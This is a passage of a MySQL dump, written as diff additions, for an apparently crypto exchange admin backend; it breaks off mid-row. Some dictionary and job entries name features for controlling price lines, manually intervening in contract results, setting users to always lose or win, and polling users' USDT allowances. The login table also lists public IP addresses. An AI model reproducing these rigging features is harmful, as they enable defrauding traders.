+INSERT INTO `sys_dict_type` VALUES (5, '任务分组', 'sys_job_group', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '任务分组列表'); +INSERT INTO `sys_dict_type` VALUES (6, '系统是否', 'sys_yes_no', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '系统是否列表'); +INSERT INTO `sys_dict_type` VALUES (7, '通知类型', 'sys_notice_type', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '通知类型列表'); +INSERT INTO `sys_dict_type` VALUES (8, '通知状态', 'sys_notice_status', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '通知状态列表'); +INSERT INTO `sys_dict_type` VALUES (9, '操作类型', 'sys_oper_type', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '操作类型列表'); +INSERT INTO `sys_dict_type` VALUES (10, '系统状态', 'sys_common_status', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '登录状态列表'); +INSERT INTO `sys_dict_type` VALUES (100, '币种类型', 'currency_type', '0', 'admin', '2023-06-30 18:22:14', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (101, '邮箱配置', 't_app_email', '0', 'admin', '2023-07-03 14:09:14', '', NULL, '邮箱'); +INSERT INTO `sys_dict_type` VALUES (102, '登录注册开关', 'login_register_open', '0', 'admin', '2023-07-03 15:45:44', '', NULL, '登录注册开关'); +INSERT INTO `sys_dict_type` VALUES (103, '用户类型', 'sys_user_type', '0', 'admin', '2023-07-03 14:40:59', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (104, 'APP侧边栏配置', 'app_sidebar_setting', '0', 'admin', '2023-07-07 15:39:57', '', NULL, 'APP侧边栏配置'); +INSERT INTO `sys_dict_type` VALUES (173, '语言', 't_app_language', '0', 'tecom', '2022-05-24 20:18:56', NULL, NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (174, '助力贷还款类型 ', 't_repay_type', '0', 'admin', '2023-08-01 16:54:26', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (175, '用户类型', 'user_type', '0', 'admin', '2023-08-02 13:35:45', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (176, '用户冻结状态', 'user_freeze', '0', 'admin', '2023-08-02 13:37:58', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (177, '用户地址类型', 'user_address_type', '0', 'admin', '2023-08-02 13:51:09', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (178, '包输包赢', 'user_buff_type', '0', 'admin', '2023-08-02 13:53:57', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (179, '实名认证状态', 'audit_status', '0', 'admin', '2023-08-02 14:20:18', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (200, 'U本位委托列表状态', 'sys_contract_status', '0', 'admin', '2023-08-03 15:37:15', '', NULL, '订单列表状态'); +INSERT INTO `sys_dict_type` VALUES (201, 'U本位交易类型', 'sys_ucontract_tradetype', '0', 'admin', '2023-08-03 15:59:45', '', NULL, 'U本位交易类型'); +INSERT INTO `sys_dict_type` VALUES (202, 'u本位委托类型', 'sys_ucontract_delegatetype', '0', 'admin', '2023-08-03 16:09:07', '', NULL, 'u本位委托类型'); +INSERT INTO `sys_dict_type` VALUES (203, 'u本位币种是否显示', 'con_ucontract_show', '0', 'admin', '2023-08-03 16:52:37', 'admin', '2023-08-03 16:53:09', NULL); +INSERT INTO `sys_dict_type` VALUES (204, 'u 本位币种配置是否启用', 'con_ucontract_enable', '0', 'admin', '2023-08-03 16:53:53', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (205, 'u本位币种配置是否交易', 'con_ucontract_trade', '0', 'admin', '2023-08-03 16:54:41', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (206, '充值订单状态', 'recharge_order_status', '0', 'admin', '2023-08-03 17:12:55', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (207, '提现订单状态', 'withdraw_order_status', '0', 'admin', '2023-08-03 17:19:35', 'admin', '2023-08-03 17:19:52', '提现订单状态'); +INSERT INTO `sys_dict_type` VALUES (208, '资产类型', 'user_asset_type', '0', 'admin', '2023-08-07 10:17:38', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (209, 'u本位开空状态', 'con_ucontract_opensell', '0', 'admin', '2023-08-05 15:47:30', 'admin', '2023-08-05 17:56:06', NULL); +INSERT INTO `sys_dict_type` VALUES (210, 'u本位开多状态', 'con_ucontract_openbuy', '0', 'admin', '2023-08-05 15:48:32', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (211, 'U本位市价开空', 'con_ucontract_marketsell', '0', 'admin', '2023-08-05 15:49:36', 'admin', '2023-08-05 17:55:21', NULL); +INSERT INTO `sys_dict_type` VALUES (212, 'U本位市价开多', 'con_ucontract_marketbuy', '0', 'admin', '2023-08-05 15:50:13', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (213, '秒合约开奖结果', 'coin_quickly_result', '0', 'admin', '2023-08-05 16:37:42', 'admin', '2023-08-10 13:45:25', NULL); +INSERT INTO `sys_dict_type` VALUES (214, '秒合约订单状态', 'coin_quickly_status', '0', 'admin', '2023-08-05 16:39:07', 'admin', '2023-08-10 13:45:20', NULL); +INSERT INTO `sys_dict_type` VALUES (215, '秒合约订单标记', 'coin_quickly_sign', '0', 'admin', '2023-08-05 16:45:03', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (216, '秒合约人工干预', 'coin_quickly_intervene', '0', 'admin', '2023-08-05 17:33:23', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (217, '秒合约预测方向', 'coin_quickly_direction', '0', 'admin', '2023-08-05 17:34:34', 'admin', '2023-08-10 17:11:58', NULL); +INSERT INTO `sys_dict_type` VALUES (218, '平台资产类型', 't_asset_type', '0', 'admin', '2023-08-15 14:45:52', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (219, 'DEFI空投类型', 'defi_activity_type', '0', 'admin', '2023-08-20 20:17:46', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (220, 'DEFI空投状态', 'defi_activity_status', '0', 'admin', '2023-08-20 20:17:53', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (221, '理财分类', 'financial_type', '0', 'admin', '2023-08-24 15:47:13', 'admin', '2023-08-24 15:52:08', NULL); +INSERT INTO `sys_dict_type` VALUES (222, '秒合约币种类型', 't_second_coin_type', '0', 'admin', '2023-08-29 18:25:56', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (223, '平仓状态', 'positon_audit_status', '0', 'admin', '2023-09-21 16:37:10', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (228, '玩家用户状态', 'app_user_status', '0', 'admin', '2023-10-27 14:36:57', '', NULL, NULL); + +-- ---------------------------- +-- Table structure for sys_job +-- ---------------------------- +DROP TABLE IF EXISTS `sys_job`; +CREATE TABLE `sys_job` ( + `job_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '任务ID', + `job_name` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL DEFAULT '' COMMENT '任务名称', + `job_group` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL DEFAULT 'DEFAULT' COMMENT '任务组名', + `invoke_target` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调用目标字符串', + `cron_expression` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT 'cron执行表达式', + `misfire_policy` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '3' COMMENT '计划执行错误策略(1立即执行 2执行一次 3放弃执行)', + `concurrent` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '是否并发执行(0允许 1禁止)', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '状态(0正常 1暂停)', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '备注信息', + PRIMARY KEY (`job_id`, `job_name`, `job_group`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 118 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '定时任务调度表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_job +-- ---------------------------- +INSERT INTO `sys_job` VALUES (103, '理财结算', 'DEFAULT', 'mineFinancialTask.mineFinancialTask', '0 0 0 1/1 * ? *', '1', '1', '1', 'admin', '2023-07-26 11:27:38', '', '2023-08-24 14:37:23', ''); +INSERT INTO `sys_job` VALUES (104, '秒合约结算', 'DEFAULT', 'secondContractTask.secondContract', '*/1 * * * * ?', '1', '1', '1', 'admin', '2023-07-26 11:35:44', 'admin', '2024-01-19 04:22:31', ''); +INSERT INTO `sys_job` VALUES (105, 'U本位委托结算', 'DEFAULT', 'contractOrderTask.settMent', '*/1 * * * * ?', '1', '1', '1', 'admin', '2023-08-05 16:26:19', 'admin', '2023-08-24 14:37:27', ''); +INSERT INTO `sys_job` VALUES (106, 'U本位平仓结算', 'DEFAULT', 'contractPositionTask.settPosition', '*/1 * * * * ?', '1', '1', '1', 'admin', '2023-08-05 16:27:45', 'admin', '2023-08-24 14:37:29', ''); +INSERT INTO `sys_job` VALUES (107, '控线', 'DEFAULT', 'BotKlineTask.botKline', '* /1 * * * ?', '1', '1', '1', 'admin', '2023-08-11 18:39:17', 'admin', '2023-08-24 14:37:30', ''); +INSERT INTO `sys_job` VALUES (108, '删除旧控线', 'DEFAULT', 'BotKlineTask.deleteModel', '*/2 * * * * ?', '1', '1', '1', 'admin', '2023-08-11 18:39:49', 'admin', '2023-08-24 14:37:32', ''); +INSERT INTO `sys_job` VALUES (109, '更新授权额度', 'DEFAULT', 'queryUsdtAllowed.queryUsdtAllowed', '* /20 * * * ?', '1', '1', '1', 'admin', '2023-08-20 20:14:23', '', '2023-08-24 14:37:33', ''); +INSERT INTO `sys_job` VALUES (110, '更新USDT', 'DEFAULT', 'QueryAddreUsdt.queryAddreUsdt', '* /20 * * * ?', '1', '1', '1', 'admin', '2023-08-20 20:14:43', '', '2023-08-24 14:37:34', ''); +INSERT INTO `sys_job` VALUES (111, 'DEFI每日收益', 'DEFAULT', 'defiRateTask.userDefiOrder', '0 0 0 1/1 * ? *', '1', '1', '1', 'admin', '2023-08-20 20:15:03', '', '2023-08-24 14:37:35', ''); +INSERT INTO `sys_job` VALUES (112, '挖矿结算', 'DEFAULT', 'mingOrderTask.mingOrderSett', '0 0 0 1/1 * ? *', '1', '1', '1', 'admin', '2023-08-21 11:31:29', 'admin', '2023-08-24 14:37:37', ''); +INSERT INTO `sys_job` VALUES (113, '币币结算', 'DEFAULT', 'currencyOrderTask.currencyOrderSettlement', '*/1 * * * * ?', '1', '1', '1', 'admin', '2023-08-22 20:46:56', '', '2023-08-24 14:37:40', ''); +INSERT INTO `sys_job` VALUES (114, '新币发行筹备', 'DEFAULT', 'OwnCoinTask.ownCoinStartTask', '0 0/1 * * * ?', '1', '1', '1', 'admin', '2023-09-20 16:52:49', 'admin', '2023-09-20 16:53:54', ''); +INSERT INTO `sys_job` VALUES (115, '新币发行结束', 'DEFAULT', 'OwnCoinTask.ownCoinEndTask', '0 0/1 * * * ?', '1', '1', '1', 'admin', '2023-09-20 16:53:44', '', NULL, ''); +INSERT INTO `sys_job` VALUES (116, '新币发行筹备', 'DEFAULT', 'OwnCoinTask.ownCoinStartTask', '0 0/1 * * * ?', '1', '1', '1', 'admin', '2023-09-20 16:52:49', 'admin', '2023-09-20 16:53:54', ''); +INSERT INTO `sys_job` VALUES (117, '新币发行结束', 'DEFAULT', 'OwnCoinTask.ownCoinEndTask', '0 0/1 * * * ?', '1', '1', '1', 'admin', '2023-09-20 16:53:44', '', NULL, ''); + +-- ---------------------------- +-- Table structure for sys_job_log +-- ---------------------------- +DROP TABLE IF EXISTS `sys_job_log`; +CREATE TABLE `sys_job_log` ( + `job_log_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '任务日志ID', + `job_name` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '任务名称', + `job_group` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '任务组名', + `invoke_target` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调用目标字符串', + `job_message` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '日志信息', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '执行状态(0正常 1失败)', + `exception_info` varchar(2000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '异常信息', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + PRIMARY KEY (`job_log_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 15612008 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '定时任务调度日志表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for sys_logininfor +-- ---------------------------- +DROP TABLE IF EXISTS `sys_logininfor`; +CREATE TABLE `sys_logininfor` ( + `info_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '访问ID', + `user_name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '用户账号', + `ipaddr` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '登录IP地址', + `login_location` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '登录地点', + `browser` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '浏览器类型', + `os` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '操作系统', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '登录状态(0成功 1失败)', + `msg` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '提示消息', + `login_time` datetime(0) NULL DEFAULT NULL COMMENT '访问时间', + PRIMARY KEY (`info_id`) USING BTREE, + INDEX `idx_sys_logininfor_s`(`status`) USING BTREE, + INDEX `idx_sys_logininfor_lt`(`login_time`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 22 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '系统访问记录' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_logininfor +-- ---------------------------- +INSERT INTO `sys_logininfor` VALUES (1, 'admin', '154.31.113.10', 'XX XX', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-01-25 11:15:19'); +INSERT INTO `sys_logininfor` VALUES (2, 'admin', '47.243.134.122', 'XX XX', 'Chrome Mobile', 'Android 1.x', '1', '用户不存在/密码错误', '2024-01-26 06:36:14'); +INSERT INTO `sys_logininfor` VALUES (3, 'admin', '47.243.134.122', 'XX XX', 'Chrome Mobile', 'Android 1.x', '1', '密码输入错误1次', '2024-01-26 06:36:14'); +INSERT INTO `sys_logininfor` VALUES (4, 'admin', '47.243.134.122', 'XX XX', 'Chrome Mobile', 'Android 1.x', '1', '密码输入错误2次', '2024-01-26 06:36:19'); +INSERT INTO `sys_logininfor` VALUES (5, 'admin', '47.243.134.122', 'XX XX', 'Chrome Mobile', 'Android 1.x', '1', '用户不存在/密码错误', '2024-01-26 06:36:19'); +INSERT INTO `sys_logininfor` VALUES (6, 'admin', '47.243.134.122', 'XX XX', 'Chrome Mobile', 'Android 1.x', '0', '登录成功', '2024-01-26 06:36:36'); +INSERT INTO `sys_logininfor` VALUES (7, 'admin', '154.31.113.10', 'XX XX', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-01-29 13:08:49'); +INSERT INTO `sys_logininfor` VALUES (8, 'admin', '185.248.186.250', 'XX XX', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-01-31 13:30:11'); +INSERT INTO `sys_logininfor` VALUES (9, 'admin', '172.104.190.252', 'XX XX', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-08 10:50:45'); +INSERT INTO `sys_logininfor` VALUES (10, 'admin', '104.245.100.188', 'XX XX', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-11 07:16:47'); +INSERT INTO `sys_logininfor` VALUES (11, 'admin', '120.235.233.171', 'XX XX', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-11 12:29:37'); +INSERT INTO `sys_logininfor` VALUES (12, 'admin', '203.91.85.222', 'XX XX', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '登录成功', '2024-02-11 18:06:05'); +INSERT INTO `sys_logininfor` VALUES (13, 'admin', '172.104.169.172', 'XX XX', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-12 11:26:17'); +INSERT INTO `sys_logininfor` VALUES (14, 'admin', '192.168.10.175', '内网IP', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-13 16:58:57'); +INSERT INTO `sys_logininfor` VALUES (15, 'admin', '192.168.10.175', '内网IP', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-13 22:12:34'); +INSERT INTO `sys_logininfor` VALUES (16, 'admin', '192.168.1.11', '内网IP', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-13 23:27:14'); +INSERT INTO `sys_logininfor` VALUES (17, 'admin', '192.168.1.11', '内网IP', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-14 14:28:50'); +INSERT INTO `sys_logininfor` VALUES (18, 'admin', '192.168.1.11', '内网IP', 'Chrome 12', 'Windows 10', '0', '退出成功', '2024-02-14 17:01:43'); +INSERT INTO `sys_logininfor` VALUES (19, 'admin', '192.168.1.11', '内网IP', 'Chrome 12', 'Windows 10', '1', '验证码已失效', '2024-02-14 17:21:32'); +INSERT INTO `sys_logininfor` VALUES (20, 'admin', '192.168.1.11', '内网IP', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-14 17:21:35'); +INSERT INTO `sys_logininfor` VALUES (21, 'admin', '192.168.1.11', '内网IP', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-14 20:14:51'); +INSERT INTO `sys_logininfor` VALUES (22, 'admin', '192.168.10.175', '内网IP', 'Chrome 12', 'Windows 10', '1', '验证码错误', '2024-02-21 22:37:24'); +INSERT INTO `sys_logininfor` VALUES (23, 'admin', '192.168.10.175', '内网IP', 'Chrome 12', 'Windows 10', '1', '密码输入错误1次', '2024-02-21 22:37:27'); +INSERT INTO `sys_logininfor` VALUES (24, 'admin', '192.168.10.175', '内网IP', 'Chrome 12', 'Windows 10', '1', '用户不存在/密码错误', '2024-02-21 22:37:27'); +INSERT INTO `sys_logininfor` VALUES (25, 'admin', '192.168.10.175', '内网IP', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-21 22:37:34'); + +-- ---------------------------- +-- Table structure for sys_menu +-- ---------------------------- +DROP TABLE IF EXISTS `sys_menu`; +CREATE TABLE `sys_menu` ( + `menu_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '菜单ID', + `menu_name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '菜单名称', + `parent_id` bigint(0) NULL DEFAULT 0 COMMENT '父菜单ID', + `order_num` int(0) NULL DEFAULT 0 COMMENT '显示顺序', + `path` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '路由地址', + `component` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '组件路径', + `query` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '路由参数', + `is_frame` int(0) NULL DEFAULT 1 COMMENT '是否为外链(0是 1否)', + `is_cache` int(0) NULL DEFAULT 0 COMMENT '是否缓存(0缓存 1不缓存)', + `menu_type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '菜单类型(M目录 C菜单 F按钮)', + `visible` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '菜单状态(0显示 1隐藏)', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '菜单状态(0正常 1停用)', + `perms` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '权限标识', + `icon` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '#' COMMENT '菜单图标', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '备注', + PRIMARY KEY (`menu_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 2386 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '菜单权限表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_menu +-- ---------------------------- +INSERT INTO `sys_menu` VALUES (1, '系统管理', 0, 10, 'system', NULL, '', 1, 0, 'M', '0', '0', '', 'system', 'admin', '2023-06-24 15:31:37', 'admin', '2023-07-12 14:52:05', '系统管理目录'); +INSERT INTO `sys_menu` VALUES (2, '系统监控', 0, 11, 'monitor', NULL, '', 1, 0, 'M', '0', '0', '', 'monitor', 'admin', '2023-06-24 15:31:37', 'admin', '2023-07-12 14:52:11', '系统监控目录'); +INSERT INTO `sys_menu` VALUES (3, '系统工具', 0, 12, 'tool', NULL, '', 1, 0, 'M', '1', '0', '', 'tool', 'admin', '2023-06-24 15:31:37', 'admin', '2023-08-22 16:11:23', '系统工具目录'); +INSERT INTO `sys_menu` VALUES (100, '用户管理', 2269, 1, 'user', 'system/user/index', '', 1, 0, 'C', '0', '0', 'system:user:list', 'user', 'admin', '2023-06-24 15:31:37', 'admin', '2023-08-22 21:18:09', '用户管理菜单'); +INSERT INTO `sys_menu` VALUES (101, '角色管理', 2269, 2, 'role', 'system/role/index', '', 1, 0, 'C', '0', '0', 'system:role:list', 'peoples', 'admin', '2023-06-24 15:31:37', 'admin', '2023-08-22 21:18:15', '角色管理菜单'); +INSERT INTO `sys_menu` VALUES (102, '菜单管理', 1, 3, 'menu', 'system/menu/index', '', 1, 0, 'C', '0', '0', 'system:menu:list', 'tree-table', 'admin', '2023-06-24 15:31:37', '', NULL, '菜单管理菜单'); +INSERT INTO `sys_menu` VALUES (103, '部门管理', 1, 4, 'dept', 'system/dept/index', '', 1, 0, 'C', '0', '0', 'system:dept:list', 'tree', 'admin', '2023-06-24 15:31:37', '', NULL, '部门管理菜单'); +INSERT INTO `sys_menu` VALUES (104, '岗位管理', 1, 5, 'post', 'system/post/index', '', 1, 0, 'C', '0', '0', 'system:post:list', 'post', 'admin', '2023-06-24 15:31:37', '', NULL, '岗位管理菜单'); +INSERT INTO `sys_menu` VALUES (105, '字典管理', 1, 6, 'dict', 'system/dict/index', '', 1, 0, 'C', '0', '0', 'system:dict:list', 'dict', 'admin', '2023-06-24 15:31:37', '', NULL, '字典管理菜单'); +INSERT INTO `sys_menu` VALUES (106, '参数设置', 1, 7, 'config', 'system/config/index', '', 1, 0, 'C', '0', '0', 'system:config:list', 'edit', 'admin', '2023-06-24 15:31:37', '', NULL, '参数设置菜单'); +INSERT INTO `sys_menu` VALUES (107, '通知公告', 1, 8, 'notice', 'system/notice/index', '', 1, 0, 'C', '0', '0', 'system:notice:list', 'message', 'admin', '2023-06-24 15:31:37', 'admin', '2023-07-31 14:11:32', '通知公告菜单'); +INSERT INTO `sys_menu` VALUES (108, '日志管理', 1, 9, 'log', '', '', 1, 0, 'M', '0', '0', '', 'log', 'admin', '2023-06-24 15:31:37', '', NULL, '日志管理菜单'); +INSERT INTO `sys_menu` VALUES (109, '在线用户', 2269, 1, 'online', 'monitor/online/index', '', 1, 0, 'C', '0', '0', 'monitor:online:list', 'online', 'admin', '2023-06-24 15:31:37', 'admin', '2023-08-22 21:17:57', '在线用户菜单'); +INSERT INTO `sys_menu` VALUES (110, '定时任务', 2, 2, 'job', 'monitor/job/index', '', 1, 0, 'C', '0', '0', 'monitor:job:list', 'job', 'admin', '2023-06-24 15:31:37', '', NULL, '定时任务菜单'); +INSERT INTO `sys_menu` VALUES (111, '数据监控', 2, 3, 'druid', 'monitor/druid/index', '', 1, 0, 'C', '0', '0', 'monitor:druid:list', 'druid', 'admin', '2023-06-24 15:31:37', '', NULL, '数据监控菜单'); +INSERT INTO `sys_menu` VALUES (112, '服务监控', 2, 4, 'server', 'monitor/server/index', '', 1, 0, 'C', '0', '0', 'monitor:server:list', 'server', 'admin', '2023-06-24 15:31:37', '', NULL, '服务监控菜单'); +INSERT INTO `sys_menu` VALUES (113, '缓存监控', 2, 5, 'cache', 'monitor/cache/index', '', 1, 0, 'C', '0', '0', 'monitor:cache:list', 'redis', 'admin', '2023-06-24 15:31:37', '', NULL, '缓存监控菜单'); +INSERT INTO `sys_menu` VALUES (114, '缓存列表', 2, 6, 'cacheList', 'monitor/cache/list', '', 1, 0, 'C', '0', '0', 'monitor:cache:list', 'redis-list', 'admin', '2023-06-24 15:31:37', '', NULL, '缓存列表菜单'); +INSERT INTO `sys_menu` VALUES (115, '表单构建', 3, 1, 'build', 'tool/build/index', '', 1, 0, 'C', '0', '0', 'tool:build:list', 'build', 'admin', '2023-06-24 15:31:37', '', NULL, '表单构建菜单'); +INSERT INTO `sys_menu` VALUES (116, '代码生成', 3, 2, 'gen', 'tool/gen/index', '', 1, 0, 'C', '0', '0', 'tool:gen:list', 'code', 'admin', '2023-06-24 15:31:37', '', NULL, '代码生成菜单'); +INSERT INTO `sys_menu` VALUES (117, '系统接口', 3, 3, 'swagger', 'tool/swagger/index', '', 1, 0, 'C', '0', '0', 'tool:swagger:list', 'swagger', 'admin', '2023-06-24 15:31:37', '', NULL, '系统接口菜单'); +INSERT INTO `sys_menu` VALUES (500, '操作日志', 108, 1, 'operlog', 'monitor/operlog/index', '', 1, 0, 'C', '0', '0', 'monitor:operlog:list', 'form', 'admin', '2023-06-24 15:31:37', '', NULL, '操作日志菜单'); +INSERT INTO `sys_menu` VALUES (501, '登录日志', 108, 2, 'logininfor', 'monitor/logininfor/index', '', 1, 0, 'C', '0', '0', 'monitor:logininfor:list', 'logininfor', 'admin', '2023-06-24 15:31:37', '', NULL, '登录日志菜单'); +INSERT INTO `sys_menu` VALUES (1000, '用户查询', 100, 1, '', '', '', 1, 0, 'F', '0', '0', 'system:user:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1001, '用户新增', 100, 2, '', '', '', 1, 0, 'F', '0', '0', 'system:user:add', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1002, '用户修改', 100, 3, '', '', '', 1, 0, 'F', '0', '0', 'system:user:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1003, '用户删除', 100, 4, '', '', '', 1, 0, 'F', '0', '0', 'system:user:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1004, '用户导出', 100, 5, '', '', '', 1, 0, 'F', '0', '0', 'system:user:export', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1005, '用户导入', 100, 6, '', '', '', 1, 0, 'F', '0', '0', 'system:user:import', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1006, '重置密码', 100, 7, '', '', '', 1, 0, 'F', '0', '0', 'system:user:resetPwd', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1007, '角色查询', 101, 1, '', '', '', 1, 0, 'F', '0', '0', 'system:role:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1008, '角色新增', 101, 2, '', '', '', 1, 0, 'F', '0', '0', 'system:role:add', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1009, '角色修改', 101, 3, '', '', '', 1, 0, 'F', 